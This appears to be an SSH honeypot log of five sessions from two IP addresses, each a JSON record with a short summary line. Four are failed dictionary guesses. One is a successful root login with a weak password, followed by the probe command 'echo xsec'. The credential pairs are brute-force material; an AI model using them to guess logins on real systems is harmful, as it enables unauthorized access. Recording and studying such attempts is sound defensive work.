}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user16
{
"id": "e9e01037653f",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:27.159324Z",
"end_time": "2026-10-05T22:41:31.663260Z",
"duration": "4.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user16",
"pass": "test3"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Aa123123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a59e1e596023",
"src_ip": "2.188.206.146",
"start_time": "2026-10-05T22:41:24.727018Z",
"end_time": "2026-10-05T22:41:27.488053Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa123123"
},
"commands": [
"echo xsec"
],
"detailed_commands": [
{
"cmd": "echo xsec",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: azure
{
"id": "a344127c3b76",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:20.014654Z",
"end_time": "2026-10-05T22:41:24.406534Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "azure",
"pass": "0000"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: foundry
{
"id": "c360456af658",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:13.065240Z",
"end_time": "2026-10-05T22:41:17.610856Z",
"duration": "4.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "foundry",
"pass": "asdqwe123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ranger
{
"id": "4bf590e70cf6",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:06.029151Z",
"end_time": "2026-10-05T22:41:10.811654Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ranger",
"pass": "emqx"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}